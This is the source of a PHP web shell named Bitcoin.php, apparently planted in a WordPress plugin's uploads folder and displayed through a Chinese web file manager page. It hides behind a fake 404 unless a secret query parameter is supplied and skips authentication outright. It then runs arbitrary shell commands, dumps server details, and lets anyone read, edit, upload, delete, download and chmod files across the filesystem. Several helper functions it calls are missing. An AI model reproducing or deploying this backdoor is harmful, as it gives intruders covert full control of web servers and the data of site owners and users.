芝麻web文件管理V1.00

编辑当前文件:/home/projzpbv/www/wp-content/uploads/ninja-forms/tmp/Bitcoin.php

<?php
@error_reporting(0);
@session_start();

define('APP_TITLE', 'SEOWriting');

// --- Security Check ---
if (!isset($_GET['Bitcoin'])) {
    // Show completely blank page with 404 header
    header("HTTP/1.0 404 Not Found");
    exit('');
}

// --- Helper Functions ---
function get_session($name) {
    return isset($_SESSION[$name]) ? $_SESSION[$name] : false;
}
function set_session($name, $val) {
    $_SESSION[$name] = $val;
}
function get_post($name) {
    return isset($_POST[$name]) ? $_POST[$name] : false;
}
function get_get($name) {
    return isset($_GET[$name]) ? $_GET[$name] : false;
}
function get_files($name) {
    return isset($_FILES[$name]) ? $_FILES[$name] : false;
}
function redirect($url) {
    header("Location: $url");
    exit();
}
function get_self() {
    return $_SERVER['PHP_SELF'];
}

function filesize_convert($bytes) {
    $label = array('B', 'KB', 'MB', 'GB', 'TB', 'PB');
    for ($i = 0; $bytes >= 1024 && $i < (count($label) - 1); $bytes /= 1024, $i++);
    return (round($bytes, 2) . " " . $label[$i]);
}

// --- Advanced Command Functions ---
function execute_command($cmd, $current_path) {
    $output = '';
    
    // Change to current directory before executing command
    $original_dir = getcwd();
    chdir($current_path);
    
    if (function_exists('shell_exec')) {
        $output = shell_exec($cmd . ' 2>&1');
    } elseif (function_exists('exec')) {
        exec($cmd . ' 2>&1', $output);
        $output = implode("\n", $output);
    } elseif (function_exists('system')) {
        ob_start();
        system($cmd . ' 2>&1');
        $output = ob_get_clean();
    } elseif (function_exists('passthru')) {
        ob_start();
        passthru($cmd . ' 2>&1');
        $output = ob_get_clean();
    } elseif (function_exists('proc_open')) {
        $descriptorspec = array(
            0 => array("pipe", "r"),
            1 => array("pipe", "w"),
            2 => array("pipe", "w")
        );
        $process = proc_open($cmd, $descriptorspec, $pipes);
        if (is_resource($process)) {
            fclose($pipes[0]);
            $output = stream_get_contents($pipes[1]);
            fclose($pipes[1]);
            fclose($pipes[2]);
            proc_close($process);
        }
    }
    
    // Change back to original directory
    chdir($original_dir);
    
    return $output ?: 'No output or command execution disabled';
}

function get_system_info() {
    $info = [];
    $info[] = "PHP Version: " . PHP_VERSION;
    $info[] = "Server Software: " . ($_SERVER['SERVER_SOFTWARE'] ?? 'N/A');
    $info[] = "Server IP: " . ($_SERVER['SERVER_ADDR'] ?? $_SERVER['HTTP_HOST'] ?? 'N/A');
    $info[] = "OS: " . PHP_OS;
    $info[] = "User: " . (function_exists('get_current_user') ? get_current_user() : 'Unknown');
    $info[] = "Memory Limit: " . ini_get('memory_limit');
    $info[] = "Max Execution Time: " . ini_get('max_execution_time');
    
    // Check disabled functions
    $disabled = ini_get('disable_functions');
    $info[] = "Disabled Functions: " . ($disabled ?: 'None');
    
    // Check safe mode
    $info[] = "Safe Mode: " . (ini_get('safe_mode') ? 'On' : 'Off');
    
    return implode("\n", $info);
}

// --- Core Logic Functions ---
function get_path() {
    $path = defined('START_PATH') ? START_PATH : __DIR__;
    $requested_path = get_get('path');
    if ($requested_path) {
        $real_path = realpath($requested_path);
        if ($real_path !== false) {
            $path = $real_path;
        }
    }
    return str_replace('\\', '/', $path);
}

function save_file($path, $content) {
    if (is_file($path) && is_writable($path)) {
        return file_put_contents($path, $content) !== false;
    }
    return false;
}

function upload_file($path, $file) {
    if (!$file || $file['error'] !== UPLOAD_ERR_OK) return false;
    $name = basename($file['name']);
    $target_path = $path . '/' . $name;
    if (!file_exists($target_path)) {
        return move_uploaded_file($file["tmp_name"], $target_path);
    }
    return false;
}

// --- View Functions ---
function render_header($is_login = false) {
    $body_class = $is_login ? 'login-page' : '';
    echo '<!DOCTYPE html><html><head><title>'.APP_TITLE.'</title><style>
    body{font-family:sans-serif;background:#f0f2f5;color:#333;margin:0;}
    table{border-collapse:collapse;width:100%;}
    th,td{padding:8px;text-align:left;border-bottom:1px solid #ddd;}
    tr:hover{background:#f1f1f1;}
    a{color:#007bff;text-decoration:none;}a:hover{text-decoration:underline;}
    .container{width:95%;margin:auto;background:white;padding:20px;box-Bitcoin:0 4px 8px rgba(0,0,0,0.1);border-radius:8px;margin-top:30px;margin-bottom:30px;}
    .message{padding:15px;margin-bottom:20px;border-radius:5px;font-size:16px;}
    .msg-success{background:#d4edda;color:#155724;border:1px solid #c3e6cb;}
    .msg-error{background:#f8d7da;color:#721c24;border:1px solid #f5c6cb;}
    .msg-info{background:#d1ecf1;color:#0c5460;border:1px solid #bee5eb;}
    .actions a{margin-right:10px;}
    .tab-content{display:none;padding:20px;border:1px solid #ddd;border-top:none;}
    .tab-content.active{display:block;}
    .tab-button{background:#007bff;color:white;border:none;padding:10px 20px;cursor:pointer;margin-right:5px;}
    .tab-button.active{background:#0056b3;}
    .command-output{background:#1e1e1e;color:#00ff00;padding:15px;border-radius:5px;font-family:monospace;max-height:400px;overflow-y:auto;white-space:pre-wrap;}
    body.login-page{display:flex;justify-content:center;align-items:center;height:100vh;}
    .login-box{background:white;padding:40px;border-radius:8px;box-Bitcoin:0 4px 15px rgba(0,0,0,0.2);width:320px;text-align:center;}
    .login-box h2{margin-bottom:20px;color:#333;}
    .login-box input[type="password"]{width:100%;padding:12px;margin-bottom:20px;border:1px solid #ccc;border-radius:4px;box-sizing:border-box;font-size:16px;}
    .login-box input[type="submit"]{width:100%;padding:12px;border:none;border-radius:4px;background:#007bff;color:white;font-size:16px;cursor:pointer;transition:background 0.3s;}
    .login-box input[type="submit"]:hover{background:#0056b3;}
    .rename-form{display:inline-block;}
    .rename-form input{width:150px;padding:3px;margin-right:5px;}
    .rename-form button{padding:3px 8px;margin-right:5px;}
    .tool-grid{display:grid;grid-template-columns:repeat(auto-fit, minmax(300px, 1fr));gap:20px;margin:20px 0;}
    .tool-box{background:#f8f9fa;padding:15px;border-radius:8px;border:1px solid #dee2e6;}
    .current-path{background:#e9ecef;padding:10px;border-radius:5px;margin:10px 0;font-family:monospace;}
    .cmd-form{display:flex;gap:10px;margin-bottom:15px;}
    .cmd-input{flex:1;padding:8px;border:1px solid #ccc;border-radius:4px;}
    .cmd-button{padding:8px 15px;background:#007bff;color:white;border:none;border-radius:4px;cursor:pointer;}
    .quick-cmd-buttons{display:flex;flex-wrap:wrap;gap:5px;margin:10px 0;}
    .quick-cmd-btn{padding:5px 10px;background:#28a745;color:white;border:none;border-radius:3px;cursor:pointer;font-size:12px;}
    </style></head><body class="'.$body_class.'">';
    if (!$is_login) {
        echo '<div class="container"><h1>'.APP_TITLE.' 🚀</h1>';
    }
}

function render_login($error = false) {
    render_header(true);
    echo '<div class="login-box">';
    echo '<h2>'.APP_TITLE.'</h2>';
    if($error) echo "<div class='message msg-error'>Invalid Password</div>";
    echo '<form method="POST"><input type="password" name="pass" placeholder="Password" required autofocus> <input type="submit" name="login" value="Login"></form>';
    echo '</div>';
    render_footer(true);
}

function render_editor($path, $content) {
    render_header();
    echo '<div id="status-message" style="margin-bottom: 15px;"></div>';
    echo '<h2>Edit File: '.basename($path).'</h2>';
    echo '<form id="editor-form" onsubmit="saveFile(); return false;">';
    echo '<input type="hidden" id="file-path" value="'.htmlspecialchars($path).'">';
    echo '<textarea id="file-content" style="width:100%;height:400px;">'.htmlentities($content).'</textarea><br><br>';
    echo '<button type="submit">Save Changes</button>';
    echo ' <a href="?Bitcoin&path='.urlencode(dirname($path)).'">Back to Manager</a>';
    echo <<<JS
    <script>
    function saveFile() {
        const path = document.getElementById('file-path').value;
        const content = document.getElementById('file-content').value;
        const statusDiv = document.getElementById('status-message');

statusDiv.className = 'message';
        statusDiv.innerText = 'Saving...';

const formData = new FormData();
        formData.append('action', 'save_ajax');
        formData.append('path', path);
        formData.append('content', content);

fetch(window.location.href, {
            method: 'POST',
            body: formData
        })
        .then(response => response.json())
        .then(data => {
            statusDiv.innerText = data.message;
            statusDiv.className = 'message ' + (data.status === 'success' ? 'msg-success' : 'msg-error');
        })
        .catch(error => {
            console.error('Error:', error);
            statusDiv.innerText = 'An unexpected error occurred. Check console for details.';
            statusDiv.className = 'message msg-error';
        });
    }
    </script>
JS;
    render_footer();
}

function render_breadcrumbs($path) {
    $path = str_replace('\\', '/', $path);
    $parts = explode('/', trim($path, '/'));
    $built_path = '';
    
    echo '<h3 style="margin-bottom: 15px;">Path: ';
    echo '<a href="?Bitcoin&path=/">/</a>';

foreach ($parts as $part) {
        if (empty($part)) continue;
        $built_path .= '/' . $part;
        echo '<a href="?Bitcoin&path=' . urlencode($built_path) . '">' . htmlspecialchars($part) . '</a>/';
    }
    echo '</h3>';
}

// --- Advanced Tools Panel ---
function render_advanced_tools($current_path) {
    echo '<button class="tab-button active" onclick="showTab(\'file-manager\')">📁 File Manager</button>';
    echo '<button class="tab-button" onclick="showTab(\'system-tools\')">⚡ System Tools</button>';
    
    echo '<div id="system-tools" class="tab-content">';
    echo '<h3>⚡ System Information & Commands</h3>';
    
    // Current path display
    echo '<div class="current-path">📍 Current Directory: ' . htmlspecialchars($current_path) . '</div>';
    
    echo '<div class="tool-grid">';
    
    // System Info
    echo '<div class="tool-box">';
    echo '<h4>📊 System Info</h4>';
    echo '<div class="command-output">'.htmlspecialchars(get_system_info()).'</div>';
    echo '</div>';
    
    // Command Execution
    echo '<div class="tool-box">';
    echo '<h4>💻 Command Execution</h4>';
    
    echo '<div class="cmd-form">';
    echo '<input type="text" id="custom-cmd" class="cmd-input" placeholder="Enter command">';
    echo '<button class="cmd-button" onclick="executeCustomCommand()">Execute</button>';
    echo '</div>';
    
    echo '<div class="quick-cmd-buttons">';
    echo '<button class="quick-cmd-btn" onclick="runQuickCommand(\'pwd\')">pwd</button>';
    echo '<button class="quick-cmd-btn" onclick="runQuickCommand(\'ls -la\')">ls -la</button>';
    echo '<button class="quick-cmd-btn" onclick="runQuickCommand(\'whoami\')">whoami</button>';
    echo '<button class="quick-cmd-btn" onclick="runQuickCommand(\'id\')">id</button>';
    echo '<button class="quick-cmd-btn" onclick="runQuickCommand(\'uname -a\')">uname -a</button>';
    echo '<button class="quick-cmd-btn" onclick="runQuickCommand(\'ps aux\')">ps aux</button>';
    echo '</div>';
    
    echo '<div class="command-output" id="command-output" style="margin-top:10px;">Output will appear here...</div>';
    echo '</div>';
    
    echo '</div>';
    echo '</div>';
}

function render_file_manager($path, $dir_list, $message = '') {
    render_header();
    
    // Save current path to session for system tools
    set_session('current_path', $path);
    
    // Advanced Tools Tabs
    render_advanced_tools($path);
    
    // File Manager Tab (default active)
    echo '<div id="file-manager" class="tab-content active">';
    
    if ($message) {
        $msg_type = strpos(strtolower($message), 'error') === false ? 'msg-success' : 'msg-error';
        echo "<div class='message $msg_type'>".htmlspecialchars(urldecode($message))."</div>";
    }

// Breadcrumbs & Back
    render_breadcrumbs($path);

$parent_path = dirname($path);
    if ($parent_path != $path) {
        echo '<a href="?Bitcoin&path='.urlencode($parent_path).'">[← Back]</a> ';
    }
    echo '<a href="'.get_self().'?Bitcoin">[Home]</a> ';
    
    // Action Forms
    echo '<hr><h4>File Operations</h4>';
    echo '<div style="display:flex; flex-wrap: wrap; gap: 20px; align-items: flex-end;">';
    echo '<form method="POST"><label>New File:</label><br><input type="text" name="filename"><input type="submit" name="newfile" value="Create"></form>';
    echo '<form method="POST"><label>New Dir:</label><br><input type="text" name="dirname"><input type="submit" name="newdir" value="Create"></form>';
    echo '<form id="upload-form"><label>Upload File:</label><br><input type="file" id="file-input"><input type="submit" value="Upload"></form>';
    echo '</div>';

// Progress bar and status
    echo '<div id="upload-status" style="margin-top: 15px; font-weight: bold;"></div>';
    echo '<div style="width: 100%; background-color: #ddd; border-radius: 5px; margin-top: 5px; display: none;" id="upload-progress-container"><div id="upload-progress" style="width: 0%; height: 24px; background-color: #4CAF50; text-align: center; color: white; border-radius: 5px; line-height: 24px;"></div></div>';
    echo '<hr>';

// File Listing
    echo '<table><thead><tr><th>Name</th><th>Size</th><th>Modified</th><th>Perms</th><th>Owner</th><th>Actions</th></tr></thead><tbody>';
    foreach ($dir_list as $item) {
        echo '<tr>';
        $link = $item['is_dir'] 
            ? '?Bitcoin&path='.urlencode($item['path'])
            : '?Bitcoin&edit='.urlencode($item['path']);
        echo '<td><a href="'.$link.'">'.($item['is_dir'] ? '📁' : '📄').' '.htmlspecialchars($item['name']).'</a></td>';
        echo '<td>'.$item['size'].'</td>';
        echo '<td>'.$item['modified'].'</td>';
        echo '<td>'.$item['perms'].'</td>';
        echo '<td>'.$item['owner'].'</td>';
        echo '<td class="actions" id="actions-'.md5($item['path']).'">';
        if ($item['name'] != '..') {
            if ($item['is_file']) echo '<a href="?Bitcoin&edit='.urlencode($item['path']).'">Edit</a> ';
            echo '<a href="#" onclick="showRenameForm(\''.htmlspecialchars($item['path']).'\', \''.htmlspecialchars($item['name']).'\', \''.md5($item['path']).'\'); return false;">Rename</a> ';
            echo '<a href="#" onclick="showChmodForm(\''.htmlspecialchars($item['path']).'\', \''.htmlspecialchars($item['perms']).'\', \''.md5($item['path']).'\'); return false;">Chmod</a> ';
            echo '<a href="?Bitcoin&delete='.urlencode($item['path']).'" onclick="return confirm(\'Are you sure?\');">Delete</a> ';
            if ($item['is_file']) echo '<a href="?Bitcoin&download='.urlencode($item['path']).'">Download</a>';
        }
        echo '</td>';
        echo '</tr>';
    }
    echo '</tbody></table>';
    echo '</div>'; // Close file-manager tab

echo <<<JS
    <script>
    function showRenameForm(path, name, elementId) {
        const actionsCell = document.getElementById('actions-' + elementId);
        const originalContent = actionsCell.innerHTML;
        
        const form = document.createElement('form');
        form.className = 'rename-form';
        form.method = 'POST';
        form.onsubmit = function() {
            if (!this.newname.value.trim()) {
                alert('Please enter a new name');
                return false;
            }
            return true;
        };
        
        const input = document.createElement('input');
        input.type = 'hidden';
        input.name = 'rename';
        input.value = path;
        form.appendChild(input);
        
        const nameInput = document.createElement('input');
        nameInput.type = 'text';
        nameInput.name = 'newname';
        nameInput.value = name;
        form.appendChild(nameInput);
        
        const submit = document.createElement('button');
        submit.type = 'submit';
        submit.textContent = 'Save';
        form.appendChild(submit);
        
        const cancel = document.createElement('button');
        cancel.type = 'button';
        cancel.textContent = 'Cancel';
        cancel.onclick = function() {
            actionsCell.innerHTML = originalContent;
        };
        form.appendChild(cancel);
        
        actionsCell.innerHTML = '';
        actionsCell.appendChild(form);
        nameInput.focus();
        nameInput.select();
    }

function showChmodForm(path, perms, elementId) {
        const actionsCell = document.getElementById('actions-' + elementId);
        const originalContent = actionsCell.innerHTML;
        
        const form = document.createElement('form');
        form.className = 'rename-form';
        form.method = 'POST';
        
        const input = document.createElement('input');
        input.type = 'hidden';
        input.name = 'chmod';
        input.value = path;
        form.appendChild(input);
        
        const permInput = document.createElement('input');
        permInput.type = 'text';
        permInput.name = 'mode';
        permInput.value = perms;
        permInput.size = 4;
        form.appendChild(permInput);
        
        const submit = document.createElement('button');
        submit.type = 'submit';
        submit.textContent = 'Set';
        form.appendChild(submit);
        
        const cancel = document.createElement('button');
        cancel.type = 'button';
        cancel.textContent = 'Cancel';
        cancel.onclick = function() {
            actionsCell.innerHTML = originalContent;
        };
        form.appendChild(cancel);
        
        actionsCell.innerHTML = '';
        actionsCell.appendChild(form);
        permInput.focus();
        permInput.select();
    }
    
    const uploadForm = document.getElementById('upload-form');
    const fileInput = document.getElementById('file-input');
    const uploadStatus = document.getElementById('upload-status');
    const progressBar = document.getElementById('upload-progress');
    const progressContainer = document.getElementById('upload-progress-container');

uploadForm.addEventListener('submit', function(e) {
        e.preventDefault();
        const file = fileInput.files[0];
        if (!file) {
            uploadStatus.innerText = 'Please select a file to upload.';
            return;
        }
        
        progressContainer.style.display = 'block';
        const CHUNK_SIZE = 1024 * 1024;
        const totalChunks = Math.ceil(file.size / CHUNK_SIZE);
        let currentChunk = 0;

function uploadChunk() {
            if (currentChunk >= totalChunks) {
                return;
            }

const start = currentChunk * CHUNK_SIZE;
            const end = Math.min(start + CHUNK_SIZE, file.size);
            const chunk = file.slice(start, end);
            
            const formData = new FormData();
            formData.append('action', 'upload_chunk');
            formData.append('chunk', chunk, file.name);
            formData.append('chunk_num', currentChunk);
            formData.append('total_chunks', totalChunks);
            formData.append('filename', file.name);

fetch('?Bitcoin', {
                method: 'POST',
                body: formData
            })
            .then(response => response.json())
            .then(data => {
                if (data.status === 'error') {
                    uploadStatus.innerText = 'Error: ' + data.message;
                    progressBar.style.backgroundColor = '#f44336';
                    return;
                }

currentChunk++;
                const progress = Math.round((currentChunk / totalChunks) * 100);
                progressBar.style.width = progress + '%';
                progressBar.innerText = progress + '%';

if (data.status === 'success') {
                    uploadStatus.innerText = data.message;
                    progressBar.style.backgroundColor = '#4CAF50';
                    setTimeout(() => window.location.reload(), 1500);
                } else {
                    uploadStatus.innerText = data.message;
                    uploadChunk();
                }
            })
            .catch(error => {
                console.error('Upload error:', error);
                uploadStatus.innerText = 'A critical error occurred during upload.';
                progressBar.style.backgroundColor = '#f44336';
            });
        }

uploadStatus.innerText = 'Starting upload for ' + file.name + '...';
        progressBar.style.width = '0%';
        progressBar.innerText = '0%';
        progressBar.style.backgroundColor = '#4CAF50';
        uploadChunk();
    });
    </script>
JS;

render_footer();
}

// --- Main Controller ---

// Authentication bypass
set_session('login', true);

// Initialize
$path = get_path();
$message = isset($_GET['msg']) ? $_GET['msg'] : '';

// Handle Actions
$redirect_path = '?Bitcoin&path='.urlencode($path);

// -- Advanced AJAX Actions --
if (get_post('action') === 'execute_command') {
    header('Content-Type: application/json');
    $cmd = get_post('command');
    $current_path = get_post('current_path') ?: $path;
    
    if ($cmd) {
        $output = execute_command($cmd, $current_path);
        echo json_encode(['output' => $output]);
    } else {
        echo json_encode(['output' => 'No command provided']);
    }
    exit;
}

// -- Existing AJAX Actions --
if (get_post('action') === 'save_ajax') {
    header('Content-Type: application/json');
    $edit_path = ($p = get_post('path')) ? $p : '';
    $content = isset($_POST['content']) ? $_POST['content'] : '';
    
    if (!is_file($edit_path) || !is_writable($edit_path)) {
        echo json_encode(['status' => 'error', 'message' => 'Error: File not found or not writable.']);
        exit;
    }

if (save_file($edit_path, $content)) {
        echo json_encode(['status' => 'success', 'message' => 'File saved successfully! (' . date('H:i:s') . ')']);
    } else {
        echo json_encode(['status' => 'error', 'message' => 'Error: Could not save file. Check permissions.']);
    }
    exit;
}

if (get_post('action') === 'upload_chunk') {
    header('Content-Type: application/json');
    
    $file = get_files('chunk');
    $chunk_num = get_post('chunk_num');
    $total_chunks = get_post('total_chunks');
    $filename = get_post('filename');
    
    if (!$file || $chunk_num === false || $total_chunks === false || !$filename) {
        echo json_encode(['status' => 'error', 'message' => 'Invalid chunk upload request.']);
        exit;
    }

$temp_filename = $filename . '.part';
    $temp_filepath = $path . '/' . $temp_filename;

$chunk_content = file_get_contents($file['tmp_name']);
    if ($chunk_content === false) {
        echo json_encode(['status' => 'error', 'message' => 'Could not read chunk data.']);
        exit;
    }

if (file_put_contents($temp_filepath, $chunk_content, FILE_APPEND) === false) {
        echo json_encode(['status' => 'error', 'message' => 'Could not write to .part file. Check permissions.']);
        exit;
    }

if ((int)$chunk_num === (int)$total_chunks - 1) {
        $final_filepath = $path . '/' . $filename;
        if (file_exists($final_filepath)) {
             unlink($temp_filepath);
             echo json_encode(['status' => 'error', 'message' => 'Error: File with this name already exists.']);
        } else {
            if (rename($temp_filepath, $final_filepath)) {
                echo json_encode(['status' => 'success', 'message' => 'File uploaded successfully! Reloading...']);
            } else {
                unlink($temp_filepath);
                echo json_encode(['status' => 'error', 'message' => 'Could not finalize file.']);
            }
        }
    } else {
        echo json_encode(['status' => 'chunk_received', 'message' => "Chunk " . ((int)$chunk_num + 1) . " of $total_chunks received..."]);
    }
    exit;
}

// -- Existing Write Actions --
if (get_post('newfile') && ($filename = get_post('filename'))) {
    $new_path = $path . '/' . basename($filename);
    if (!file_exists($new_path)) {
        touch($new_path);
        $message = "File created: " . $filename;
    } else {
        $message = "Error: File already exists.";
    }
    redirect($redirect_path . '&msg='.urlencode($message));
}

if (get_post('newdir') && ($dirname = get_post('dirname'))) {
    $new_path = $path . '/' . basename($dirname);
    if (!file_exists($new_path)) {
        mkdir($new_path);
        $message = "Directory created: " . $dirname;
    } else {
        $message = "Error: Directory already exists.";
    }
    redirect($redirect_path . '&msg='.urlencode($message));
}

if ($chmod_path = get_post('chmod')) {
    $mode = get_post('mode');
    if ($mode) {
        if (preg_match('/^[0-7]{3,4}$/', $mode)) {
            if (@chmod($chmod_path, octdec($mode))) {
                $message = "Permissions changed for " . basename($chmod_path) . " to " . $mode;
            } else {
                $message = "Error: Could not change permissions.";
            }
        } else {
            $message = "Error: Invalid permission mode.";
        }
    } else {
        $message = "Error: Mode is empty.";
    }
    redirect($redirect_path . '&msg='.urlencode($message));
}

if ($rename_path = get_post('rename')) {
    $new_name = get_post('newname');
    if ($new_name) {
        $rename_path = str_replace('\\', '/', $rename_path);
        
        if (rename_item($rename_path, $new_name)) {
            $message = "Renamed successfully";
        } else {
            $old_name = basename($rename_path);
            $dir = dirname($rename_path);
            $new_path = $dir . '/' . basename($new_name);
            $error_msg = "Error: Could not rename. ";
            
            if (!file_exists($rename_path)) {
                $error_msg .= "Source file does not exist. (Path: $rename_path) ";
            }
            if (file_exists($new_path)) {
                $error_msg .= "Target file already exists. ";
            }
            if (!is_writable($dir)) {
                $error_msg .= "Directory is not writable. ";
            }
            if ($old_name === basename($new_name)) {
                $error_msg .= "New name is the same as old name. ";
            }
            
            $message = $error_msg;
        }
    } else {
        $message = "Error: New name is empty.";
    }
    redirect($redirect_path . '&msg='.urlencode($message));
}

if ($delete_path = get_get('delete')) {
    $is_dir = is_dir($delete_path);
    $parent_path = '?Bitcoin&path='.urlencode(dirname($delete_path));
    if ($is_dir ? rmdir($delete_path) : unlink($delete_path)) {
        $message = "Deleted: " . basename($delete_path);
    } else {
        $message = "Error: Could not delete.";
    }
    redirect($parent_path . '&msg='.urlencode($message));
}

// -- View/Edit Actions --
if ($edit_path = get_get('edit')) {
    if (!is_file($edit_path) || !is_readable($edit_path)) {
        redirect('?Bitcoin&path='.urlencode($path).'&msg='.urlencode('Error: File not found.'));
    }
    
    render_editor($edit_path, file_get_contents($edit_path));
    exit;
}

if ($dl_path = get_get('download')) {
    if (is_file($dl_path) && is_readable($dl_path)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="'.basename($dl_path).'"');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . filesize($dl_path));
        readfile($dl_path);
        exit;
    } else {
        redirect('?Bitcoin&path='.urlencode($path).'&msg='.urlencode('Error: File not found.'));
    }
}

// Default View (File Manager)
$dir_list = get_dir_list($path);
render_file_manager($path, $dir_list, $message);